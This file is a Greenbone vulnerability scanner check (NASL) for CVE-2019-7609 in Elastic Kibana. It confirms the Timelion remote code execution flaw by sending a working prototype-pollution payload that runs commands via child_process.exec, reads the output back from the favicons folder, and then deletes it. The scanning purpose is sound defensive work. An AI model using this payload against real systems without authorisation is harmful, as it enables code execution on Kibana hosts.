Elastic Kibana < 5.6.15, 6.x.x < 6.6.1 RCE Vulnerability - Active Check

# Copyright (C) 2019 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:elastic:kibana";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.143092");
  script_version("2022-08-09T10:11:17+0000");
  script_tag(name:"last_modification", value:"2022-08-09 10:11:17 +0000 (Tue, 09 Aug 2022)");
  script_tag(name:"creation_date", value:"2019-11-06 03:31:33 +0000 (Wed, 06 Nov 2019)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-10-19 18:09:00 +0000 (Mon, 19 Oct 2020)");

  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_cve_id("CVE-2019-7609");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Elastic Kibana < 5.6.15, 6.x.x < 6.6.1 RCE Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2019 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_elastic_kibana_detect_http.nasl", "os_detection.nasl");
  script_mandatory_keys("elastic/kibana/detected");
  script_require_ports("Services/www", 5601);

  script_tag(name:"summary", value:"Kibana contains an arbitrary code execution flaw in the Timelion
  visualizer.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP requests and checks the response.");

  script_tag(name:"insight", value:"An attacker with access to the Timelion application could send a
  request that will attempt to execute javascript code. This could possibly lead to an attacker
  executing arbitrary commands with permissions of the Kibana process on the host system.

  On May 07, 2021 the NCSC, CISA, FBI and NSA publish advice on detection and mitigation of SVR
  activity following the attribution of the SolarWinds compromise. This VT is covering one or more
  vulnerabilities mentioned in that report.");

  script_tag(name:"affected", value:"Kibana versions before 5.6.15 and 6.0.0 before 6.6.1.");

  script_tag(name:"solution", value:"Update to version 5.6.15, 6.6.1 or later.");

  script_xref(name:"URL", value:"https://discuss.elastic.co/t/elastic-stack-6-6-1-and-5-6-15-security-update/169077");
  script_xref(name:"URL", value:"https://github.com/LandGrey/CVE-2019-7609/");
  script_xref(name:"URL", value:"https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

vt_strings = get_vt_strings();
file = vt_strings["lowercase_rand"] + ".txt";
xsrf_str = vt_strings["default"];

url = dir + "/api/timelion/run";
headers = make_array("Content-Type", "application/json",
                     "kbn-xsrf", xsrf_str);

cmds  = exploit_commands();

foreach cmd (keys(cmds)) {
  data = '{"sheet":[".es(*).props(label.__proto__.env.AAAA=\'require(\\"child_process\\").exec(\\"' +
         cmds[cmd] + ' > src/ui/public/assets/favicons/' + file +
         '\\");process.exit()//\').props(label.__proto__.env.NODE_OPTIONS=\'--require /proc/self/environ\')"]' +
         ',"time":{"from":"now-15m","to":"now","mode":"quick","interval":"auto"}}';


  req = http_post_put_req(port: port, url: url, data: data, add_headers: headers);
  res = http_keepalive_send_recv(port: port, data: req);
  if (res !~ "^HTTP/1\.[01] 200")
    continue;

  trigger = dir + "/socket.io/?EIO=3&transport=polling&t=MtjhZoM";
  req  = http_get_req(port: port, url: trigger, add_headers: headers);
  res = http_keepalive_send_recv(port: port, data: req);

  sleep(5);

  check_url = dir + "/ui/favicons/" + file;
  req = http_get(port: port, item: check_url);
  res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

  if (egrep(pattern: cmd, string: res)) {
    report = 'It was possible to execute the "' + cmds[cmd] + '" command.\n\nResult:\n\n' + res;
    security_message(port: port, data: report);

    # Cleanup
    if (cmd == "ipconfig")
      delete = "del";
    else
      delete = "rm";

    data = '{"sheet":[".es(*).props(label.__proto__.env.AAAA=\'require(\\"child_process\\").exec(\\"' +
           delete + ' src/ui/public/assets/favicons/' + file +
           '\\");process.exit()//\').props(label.__proto__.env.NODE_OPTIONS=\'--require /proc/self/environ\')"]' +
           ',"time":{"from":"now-15m","to":"now","mode":"quick","interval":"auto"}}';
    req = http_post_put_req(port: port, url: url, data: data, add_headers: headers);
    res = http_keepalive_send_recv(port: port, data: req);
    req = http_get_req(port: port, url: trigger, add_headers: headers);
    res = http_keepalive_send_recv(port: port, data: req);

    exit(0);
  }
}

exit(0);